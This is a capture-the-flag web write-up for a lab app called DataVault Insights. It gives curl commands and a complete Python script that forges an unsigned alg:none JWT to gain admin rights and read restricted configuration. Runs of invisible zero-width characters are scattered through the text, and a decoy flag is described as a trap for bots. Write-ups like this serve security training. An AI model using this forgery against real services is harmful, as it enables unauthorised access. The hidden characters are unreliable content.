← Back to Writeups
CUSTOMMediumWeb

DataVault Insights

XESXOR9/10/20263 min read
#web#custom#medium#api_endpoint_enumeration#decoy_flag_identification#jwt_alg_none_signature_bypass#privilege_escalation_via_forge#role_based_access_control_bypa

DataVault Insights

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: api_endpoint_enumeration, decoy_flag_identification, jwt_alg_none_signature_bypass, privilege_escalation_via_forged_claims, role_based_access_control_bypass

Summary

Walkthrough of the CUSTOM Web DataVault Insights. Task: Express.js analytics platform with JWT API authentication and role-based access control (viewer/admin). Solution: Forged JWT with alg:none to bypass signature verification, escalated role from v

Description

DataVault Insights is a business intelligence and analytics platform built by VaultMetrics Corp. The platform lets teams create dashboards, visualize datasets, and share reports across the organization. It supports multiple data sources including PostgreSQL, BigQuery, Google Sheets, and REST APIs.

The platform uses role-based access control with admin and viewer roles. As a viewer, you can access dashboards, datasets, and reports — but administrative functionality like system configuration and user management is restricted.

You have been given access as a regular viewer. Your mission is to explore the application, understand its authentication mechanism, and find a way to escalate your privileges to access restricted administrative functionality. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: An Express.js analytics platform with JWT-based API authentication. Given viewer credentials, the goal is to escalate privileges to admin and access restricted configuration endpoints where the flag is stored.

Analysis

The application uses two authentication mechanisms:

  1. Session-based (connect.sid cookie) for the web UI
  2. JWT-based (X-DV-TOKEN header) for the API

The profile page at /profile exposes the user's API token — a standard HS256 JWT containing claims including uid, oid, role, and email. The role field is set to "viewer" for the given credentials. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Attempting to access admin API endpoints (/api/admin/config, /api/admin/users) with the viewer token returns a helpful error message that discloses:

  • The current role ("viewer")
  • All available admin endpoints (GET /api/admin/config, GET /api/admin/users, POST /api/admin/settings)

This confirms the authorization check is based solely on the JWT role claim.

The critical vulnerability is that the server's JWT verification accepts tokens with "alg": "none" — meaning it does not enforce signature verification. This allows an attacker to forge arbitrary JWT claims without knowing the signing secret. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

A decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} was embedded in HTML comments on every page — a classic HackAdvisor honeypot, correctly ignored.

Solution

Step 1: Login and Obtain JWT Token

Login with the provided credentials and navigate to the profile page to obtain the JWT API token:

bash
# Login
curl -s -c cookies.txt -X POST https://<target>/login \
  -d "email=user@test.com&password=password123"

# Get profile page (contains JWT token)
curl -s -b cookies.txt https://<target>/profile

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The JWT token is displayed in the "API Token" section. Decoded:

  • Header: {"alg": "HS256", "typ": "JWT"}
  • Payload: {"uid": 2, "oid": 1, "role": "viewer", "email": "user@test.com", ...}

Step 2: Enumerate Admin Endpoints

Test admin API endpoints with the viewer token to discover available routes:

bash
curl -s -H "X-DV-TOKEN: <viewer_token>" https://<target>/api/admin/config

Response reveals all admin endpoints:

json
{"error":"Admin access required","your_role":"viewer","available_endpoints":["GET /api/admin/config","GET /api/admin/users","POST /api/admin/settings"]}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Forge JWT with alg:none

Create a forged JWT with alg set to "none" and role set to "admin":

python
#!/usr/bin/env python3
"""JWT alg:none forgery for DataVault Insights privilege escalation"""
import base64
import json
import time

def b64url_encode(data):
    """Base64url encode without padding"""
    return base64.urlsafe_b64encode(
        json.dumps(data, separators=(',', ':')).encode()
    ).decode().rstrip('=')

header = {'alg': 'none', 'typ': 'JWT'}
payload = {
    'uid': 1,
    'oid': 1,
    'role': 'admin',
    'email': 'admin@datavault.io',
    'iat': int(time.time()),
    'exp': int(time.time()) + 3600
}
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Token with empty signature (trailing dot)
token = f'{b64url_encode(header)}.{b64url_encode(payload)}.'
print(token)

Step 4: Access Admin Config and Retrieve Flag

Use the forged admin token to access the restricted configuration endpoint:

bash
FORGED_TOKEN=$(python3 solve.py)
curl -s -H "X-DV-TOKEN: $FORGED_TOKEN" https://<target>/api/admin/config | python3 -m json.tool

The response contains all system configuration entries. The flag is stored in the PLATFORM_SECRET_KEY entry:

json
{"id": 13, "key": "PLATFORM_SECRET_KEY", "value": "FLAG{REDACTED}", "category": "security"}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The /api/admin/users endpoint also becomes accessible, listing all 8 platform users (1 admin: Marcus Chen, 7 viewers). ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering api_endpoint_enumeration, decoy_flag_identification, jwt_alg_none_signature_bypass, privilege_escalation_via_forged_claims, role_based_access_control_bypass was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-21 • CUSTOM • DataVault Insights • Difficulty: Medium